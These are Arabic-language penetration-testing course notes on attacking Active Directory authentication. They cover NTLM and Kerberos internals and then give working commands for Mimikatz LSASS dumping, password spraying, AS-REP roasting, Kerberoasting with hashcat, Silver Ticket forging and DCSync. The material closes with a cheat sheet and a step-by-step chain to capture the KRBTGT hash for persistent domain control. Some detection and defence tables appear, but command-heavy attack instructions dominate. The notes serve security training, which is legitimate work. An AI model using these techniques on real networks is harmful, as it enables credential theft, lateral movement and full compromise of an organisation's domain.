Active Directory مبني بالكامل حول فكرة المصادقة. كل عملية وصول لمورد — مشاركات ملفات، RDP، بريد إلكتروني، تطبيقات ويب — بتتطلب إثبات هوية أولاً. ومن هنا القاعدة الأهم في هجمات AD: التحكّم في عملية المصادقة يعني التحكّم في الوصول لكل حاجة في الدومين.
| التقنية | البروتوكول | المتطلَّب | الأثر |
|---|---|---|---|
| Password Spraying | NTLM / Kerberos | بدون بيانات اعتماد | بيانات اعتماد دومين صالحة |
| AS-REP Roasting | Kerberos | بدون بيانات اعتماد | هاش كلمة مرور حساب مُهيَّأ بشكل خاطئ |
| Kerberoasting | Kerberos | أي مستخدم دومين | هاش كلمة مرور حساب خدمة |
| Silver Ticket | Kerberos | NTLM hash لحساب خدمة | وصول غير مصرَّح به لخدمة محدَّدة |
| DCSync | DRSUAPI | صلاحيات DA أو Replication | كل هاشات كلمات مرور الدومين |
| Pass-the-Hash | NTLM | NTLM hash | حركة جانبية بدون معرفة كلمة المرور |
| Pass-the-Ticket | Kerberos | TGT صالح | انتحال شخصية المستخدم لأي خدمة |
الجدول ده هو خريطة سريعة لكل هجمات الموديول — كل تقنية هيتم تفكيكها بالتفصيل في القسم المخصَّص ليها، مع الأدوات والأوامر العملية على Windows وLinux.
Kerberos هو البروتوكول المفضَّل دايمًا، لكن NTLM بيُستخدم كـ Fallback في الحالات دي:
مش ممكن تعطيل NTLM تمامًا في أغلب البيئات لأن ده هيكسر التوافق مع أنظمة قديمة — وهو لسه موجود حتى في بيئات Windows Server 2022 الحديثة. أي مختبر اختراق هيواجه NTLM تقريبًا في كل بيئة AD.
العميل بيحوّل كلمة مرور المستخدم لهاش NTLM باستخدام خوارزمية MD4 — الهاش ده مش بيتغيّر لحد ما كلمة المرور تتغيّر.
العميل بيبعت اسم المستخدم للسيرفر المستهدَف بشكل Plaintext لبدء عملية المصادقة.
السيرفر بيولّد قيمة Challenge عشوائية بطول 64-bit — فريدة لكل جلسة، وبتمنع هجمات الـ Replay.
العميل بيشفّر الـ Nonce باستخدام NTLM Hash → بينتج "الـ Response" — وده بيثبت معرفته بالهاش من غير ما يكشفه.
السيرفر بيبعت: اسم المستخدم + الـ Challenge الأصلي + Response العميل المشفَّر → للـ Domain Controller للتحقق.
الـ DC بيسترجع الهاش المخزَّن، بيشفّر نفس الـ Challenge، وبيقارن النتيجتين → تطابق = مصادقة ناجحة، عدم تطابق = رفض.
كلمة المرور مش بتتبعت أبدًا بشكل Plaintext عبر الشبكة. الـ Challenge بيمنع هجمات الـ Replay لأن كل Nonce فريد.
تشفير الـ Service Ticket بهاش حساب الخدمة — مش هاش الـ KDC — هو الأساس اللي بيُبنى عليه هجوم Kerberoasting بالكامل.
بدون التحقق من الـ PAC عند الـ DC → هجوم Silver Ticket يصبح ممكنًا.
| الخاصية | NTLM | Kerberos |
|---|---|---|
| نموذج الاتصال | اتصال مباشر مع السيرفر | طرف ثالث موثوق (KDC) |
| نموذج العمل | Challenge-Response في كل مرة | نظام تذاكر — Single Sign-On |
| دور الـ DC | يتحقّق مع كل محاولة مصادقة | يتدخّل فقط عند إصدار التذكرة |
| تخزين الهاش | في LSASS — قابل لإعادة الاستخدام مباشرةً | تذاكر لها صلاحية زمنية (TGT ~10 ساعات) |
| المصادقة المتبادلة | غير موجودة | موجودة — الطرفان يتحققان من بعض |
| سرعة التكسير | MD4 سريع جدًا — قابل للتكسير بالـ GPU | Timestamps مشفّرة تمنع الـ Replay |
| الثغرة الرئيسية | Pass-the-Hash | Kerberoasting — أي مستخدم يقدر يطلب TGS |
LSASS = Local Security Authority Subsystem Service. بيشتغل بصلاحيات SYSTEM — أعلى عملية صلاحيات في Windows. الوصول لذاكرته بيحتاج Administrator + SeDebugPrivilege.
| نوع البيانات | الاستخدام الهجومي |
|---|---|
| NTLM Hash | تكسير أوفلاين لاسترجاع كلمة المرور، أو Pass-the-Hash للمصادقة مباشرةً |
| Kerberos TGT | Pass-the-Ticket لانتحال شخصية المستخدم لأي خدمة — لو TGT لحساب DA = وصول لكامل الدومين |
| Kerberos TGS | وصول للخدمة المحدَّدة فقط كالمستخدم الشرعي؛ لو PAC validation معطّلة → Silver Ticket ممكن |
HKLM\SYSTEM\..\WDigest → UseLogonCredential=0Mimikatz هو الأداة المرجعية لاستخراج بيانات الاعتماد من LSASS. محتاج: صلاحيات Local Administrator، SeDebugPrivilege (تصحيح أي عملية)، وSYSTEM Token (عبر token::elevate). متاح كمان عبر Metasploit Kiwi extension، أو Procdump + تحليل أوفلاين لتقليل الأثر (OPSEC).
privilege::debug
token::elevate
# تفريغ كل بيانات الاعتماد من LSASS
sekurlsa::logonpasswords
# بيعرض: NTLM hash + plaintext (لو WDigest مفعَّلة)
# تصدير تذاكر Kerberos
sekurlsa::tickets /export
# بيحفظ ملفات .kirbi لاستخدامها في Pass-the-Ticket
# تفريغ قاعدة بيانات SAM
lsadump::sam
# حقن تذكرة محفوظة
kerberos::ptt [ticket.kirbi]
| الأسلوب | الطريقة | المخاطرة |
|---|---|---|
| Brute Force | كلمات مرور كتير ← مستخدم واحد | بيقفل الحساب بسرعة — صاخب ومكتشَف فورًا |
| Password Spraying | كلمة مرور واحدة ← مستخدمين كتير | بيفضل تحت حد القفل — فعّال لأن المستخدمين بيشاركوا أنماط متوقَّعة (Season+Year، Company+123!، Welcome1!) |
افحص سياسة القفل (Lockout Policy) قبل أي محاولة: net accounts /domain — بيرجّع حد القفل، مدته، ونافذة المراقبة (Observation Window). الـ Spray لازم يكون بمحاولة واحدة فقط لكل نافذة مراقبة عشان تفضل آمن.
KRB5KDC_ERR_PREAUTH_FAILED. أدوات: Rubeus, kerbrute, Invoke-Kerberoast.$domain = 'DC=corp,DC=com'
foreach ($user in $users) {
$entry = New-Object DirectoryServices.DirectoryEntry(
"LDAP://dc1", "corp\$user", 'Passw0rd')
if ($entry.name) { "VALID: $user" }
}
crackmapexec smb 192.168.50.10 -u users.txt -p 'Passw0rd!' --continue-on-success
# الأسرع — من غير أي اتصال SMB
Rubeus.exe brute /users:users.txt /password:Passw0rd! /noticket /delay:500
# delay = ms بين كل محاولة ومحاولة
تخفّي قبل أي حاجة؟ LDAP. محتاج تكشف أجهزة فيها صلاحيات Admin؟ SMB. محتاج أسرع نتيجة بأقل أثر شبكي؟ Kerberos TGT.
الخاصية Do not require Kerberos preauthentication دعوة مباشرة للهجوم.
Get-NetUser -PreauthNotRequired (PowerView)، LDAP filter (userAccountControl:1.2.840.113556.1.4.803:=4194304)، أو Get-ADUser -Filter 'DoesNotRequirePreAuth -eq True'استعلام AD عن المستخدمين اللي عندهم Do not require Kerberos preauthentication مفعَّلة، باستخدام LDAP filter أو PowerView.
إرسال AS-REQ للمستخدم المستهدَف — الـ DC بيرد بـ AS-REP من غير التحقق من معرفة كلمة المرور.
الـ AS-REP بتحتوي على بيانات مشفّرة بهاش كلمة مرور المستخدم — بتتحفظ بصيغة متوافقة مع Hashcat.
استخدام Hashcat mode 18200 (Kerberos AS-REP) مع Wordlist وRules — بدون أي خطر قفل حساب أثناء التكسير.
المصادقة في AD كالمستخدم، التعداد الإضافي، أو استخدام بيانات الاعتماد للحركة الجانبية.
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
impacket-GetNPUsers corp.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
# مثال على نتيجة التكسير:
$krb5asrep$23$dave@corp.com:...:Flowers1!
لو عندك صلاحية GenericWrite أو GenericAll على حساب مستخدم — تقدر تفعّل تعطيل الـ Pre-Auth عليه بنفسك، تنفّذ الهجوم، وترجّع الإعداد لوضعه الأصلي بعد كده.
مفيش Account Lockout في الهجوم ده — ده عملية Kerberos عادية ومتوقَّعة تمامًا. المتطلَّب الوحيد: حساب دومين عادي صالح.
Managed Service Accounts (MSA) بكلمة مرور 30 حرف تلقائية التدوير، Group MSAs (gMSA) بكلمة مرور 120 حرف، وحسابات الأجهزة (Computer Accounts) بكلمة مرور 120 حرف تلقائية التدوير.
استعلام AD عن حسابات المستخدمين (مش حسابات الأجهزة) اللي عندها خاصية servicePrincipalName مضبوطة.
أي مستخدم دومين بيطلب Service Tickets لكل الـ SPNs دي — الـ KDC بيرد من غير التحقق من التفويض.
حفظ الجزء المشفَّر من كل Service Ticket — ده متشفّر بهاش NTLM الخاص بحساب الخدمة.
استخدام Hashcat mode 13100 (Kerberos 5 TGS-REP) — بدون قفل حساب وبدون ضوضاء شبكية أثناء التكسير.
لو حساب الخدمة عنده صلاحيات عالية → تصعيد لـ Domain Admin أو الوصول لخدمات حرجة.
# اكتشاف تلقائي لكل الحسابات القابلة لـ Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt
# استهداف مستخدم محدَّد
Rubeus.exe kerberoast /user:svc_mssql /outfile:svc_mssql_hash.txt
impacket-GetUserSPNs corp.com/stephanie:'PW' -request -outputfile hashes.txt
hashcat -m 13100 hashes.txt rockyou.txt -r best64.rule
# مثال على نتيجة التكسير:
$krb5tgs$23$*svc_mssql$...:Mssql@2023!
الـ etype 17/18 (تشفير AES) أصعب بكتير في التكسير من etype 23 (RC4) — نوع التشفير بيأثر مباشرة على سرعة وجدوى الهجوم.
مفيش أي تواصل شبكي مع الـ DC، ومفيش أي لوجات بتتسجّل عند الـ DC لإصدار التذكرة — ده بيخلّيها أكثر تخفّيًا من Golden Tickets.
التذكرة شغّالة فقط على الخدمة المرتبطة بالـ SPN المحدَّد اللي اتزوَّرت على أساسه.
whoami /user بيعرض SID المستخدم، شيل آخر جزء منه = Domain SID. أو Get-DomainSID من PowerView.MSSQLSvc/dc1.corp.com:1433.اتعمل Kerberoasting لحساب svc_mssql وانكسر الهاش: Mssql@2023!. الهدف: تزوير TGS لـ MSSQL والوصول لقاعدة البيانات كـ SA.
whoami /user
# S-1-5-21-XXXX-YYYY-ZZZZ-1001 → Domain SID = بدون آخر رقم
# تحويل كلمة المرور لهاش NTLM:
python -c "import hashlib,binascii; print(binascii.hexlify(hashlib.new('md4','Mssql@2023!'.encode('utf-16le')).digest()))"
kerberos::golden /sid:S-1-5-21-XXXX-YYYY-ZZZZ /domain:corp.com /ptt \
/target:dc1.corp.com /service:mssqlsvc /rc4:<NTLM_HASH> /user:Administrator
# /ptt = حقن مباشر في الجلسة الحالية
الهجوم ده بيشتغل حتى لو اتغيّرت كلمة المرور الحقيقية لحساب المستخدم اللي اتزوَّرت هويته — التذكرة صالحة لحد ما تنتهي مدتها (~10 ساعات).
| الكشف / الدفاع | التفاصيل |
|---|---|
| PAC Validation | لو مفعَّلة، الخدمة بتطلب من الـ DC التحقق من محتوى التذكرة |
| Event ID 4769 | طلبات Service Ticket — أسماء مستخدمين غير طبيعية في اللوجات مؤشّر على تذاكر مزوَّرة |
| Managed Service Accounts | استخدام MSA/gMSA بكلمات مرور تلقائية التدوير يمنع الهجوم من الأساس |
| KDC PAC Validation | تفعيلها عبر KDCValidation registry key |
| تقليل صلاحيات حساب الخدمة | الحد الأدنى من الصلاحيات المطلوبة فقط |
حساب DA واحد مخترَق = تفريغ بيانات اعتماد الدومين بالكامل.
lsadump::dcsync /user:corp\dave
lsadump::dcsync /user:corp\Administrator
lsadump::dcsync /user:corp\krbtgt
lsadump::dcsync /all /csv
# المخرجات تشمل:
Hash NTLM: 2a944a7...
Hash SHA1: ...
# استخراج حساب محدَّد فقط
impacket-secretsdump corp.com/jeffadmin:'PW'@192.168.50.70 -just-dc-user dave
# تفريغ كامل — كل الهاشات
impacket-secretsdump corp.com/jeffadmin:'PW'@dc1
| مؤشرات الكشف | الإجراءات الدفاعية |
|---|---|
| Event ID 4662 — Directory Access Audit؛ فلترة على صلاحية Replicating Directory Changes من حساب غير DC | تفعيل Object Access Auditing عبر Group Policy → Advanced Audit Policy → Directory Service Access |
| Event ID 4624 — تسجيلات دخول غير طبيعية ببيانات اعتماد DA من أجهزة غير DC | مجموعة Protected Users — تمنع مصادقة NTLM، تخزين بيانات الاعتماد، والتفويض |
| حركة DRSUAPI (بورت 135 + RPC ديناميكي) من IPs مش DC | Privileged Access Workstations (PAW) — حسابات DA تسجّل دخول فقط من محطات معزولة |
الحصول على حساب دومين عادي (عبر Phishing، تسريب بيانات اعتماد، أو وصول فيزيائي محدود) — نقطة البداية لأغلب هجمات AD.
لو معندكش بيانات اعتماد أصلًا، ابدأ بـ net accounts /domain ثم Spray محسوب بمحاولة واحدة لكل نافذة مراقبة — هدفك أول حساب دومين صالح.
دوَّر على حسابات Pre-Auth معطّلة (AS-REP Roasting) وحسابات عندها SPNs (Kerberoasting) — كلاهما هجمات أوفلاين بدون خطر قفل.
Hashcat mode 18200 أو 13100 حسب نوع الهجوم — ركّز على حسابات الخدمة، غالبًا عندها كلمات مرور قديمة وضعيفة.
لو وصلت لصلاحيات Local Admin على أي جهاز — Mimikatz لاستخراج هاشات وTickets إضافية، أو Pass-the-Hash / Pass-the-Ticket للحركة الجانبية.
لو عندك هاش حساب خدمة معيّن وعايز وصول فوري لخدمة واحدة بدون لمس الـ DC — Silver Ticket أسرع وأكتر تخفّيًا.
الهدف النهائي — تفريغ كل هاشات الدومين بما فيها KRBTGT، واللي بيفتح الباب لـ Golden Ticket وسيطرة كاملة ودائمة على الدومين.
privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::tickets /export
lsadump::sam
lsadump::dcsync /user:corp\krbtgt
kerberos::golden /sid:<SID> /domain:<domain> /ptt /target:<target> /service:<spn> /rc4:<hash> /user:<user>
kerberos::ptt <ticket.kirbi>
Rubeus.exe brute /users:users.txt /password:<pw> /noticket /delay:500
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus.exe kerberoast /user:<svc_account> /outfile:hash.txt
impacket-GetNPUsers corp.com/ -usersfile users.txt -format hashcat -outputfile hashes.txt
impacket-GetUserSPNs corp.com/user:'PW' -request -outputfile hashes.txt
impacket-secretsdump corp.com/jeffadmin:'PW'@dc1
| Mode | النوع | الاستخدام |
|---|---|---|
1000 | NTLM | تكسير هاشات NTLM المُستخرَجة مباشرةً |
18200 | Kerberos 5 AS-REP etype23 | نتائج AS-REP Roasting |
13100 | Kerberos 5 TGS-REP etype23 | نتائج Kerberoasting |
| # | التحقق | الأمر | الهجوم المناسب |
|---|---|---|---|
| 1 | سياسة القفل تسمح بالـ Spray؟ | net accounts /domain | Password Spraying |
| 2 | حسابات بـ Pre-Auth معطّلة؟ | Get-ADUser -Filter 'DoesNotRequirePreAuth -eq True' | AS-REP Roasting |
| 3 | حسابات عندها SPNs؟ | impacket-GetUserSPNs | Kerberoasting |
| 4 | وصول Local Admin على أي جهاز؟ | whoami /priv + Mimikatz | LSASS Dump / Pass-the-Hash |
| 5 | صلاحيات Replication متاحة؟ | Get-ObjectAcl على Domain Object | DCSync |
الموديول ده غطّى مصادقة Active Directory من جذورها — بروتوكولَي NTLM وKerberos، أماكن تخزين بيانات الاعتماد في الذاكرة، وسلسلة كاملة من الهجمات اللي بتبدأ من حساب دومين عادي وتنتهي بالسيطرة الكاملة على الدومين عبر DCSync.
كل هجمات المصادقة دي مبنية على فكرة واحدة: الثقة الممنوحة لهاش أو تذكرة أكبر من الثقة المفروض تتحقق منها فعليًا. المختبر اللي بيفهم أين بالظبط بتتولَّد هذه الثقة — وأين بيُفترَض إنها تتحقَّق ومش بتتحقَّق — هو اللي بيوصل لـ Domain Admin بأقل عدد خطوات.
في الـ Engagement الحقيقي: ابدأ دايمًا بالهجمات اللي مش محتاجة بيانات اعتماد أو بتتم أوفلاين (Password Spraying، AS-REP Roasting) → بعدين Kerberoasting باستخدام أول حساب تحصل عليه → بعدين استغلال LSASS على أي جهاز فيه Local Admin → وأخيرًا، لو وصلت لصلاحيات DA، نفّذ DCSync واحفظ حساب KRBTGT تحديدًا — لأنه بيفتح الباب لاستمرارية الوصول (Golden Ticket). وثَّق كل خطوة، حتى الفاشلة.
نهاية نوتس الموديول العشرين — Attacking Active Directory Authentication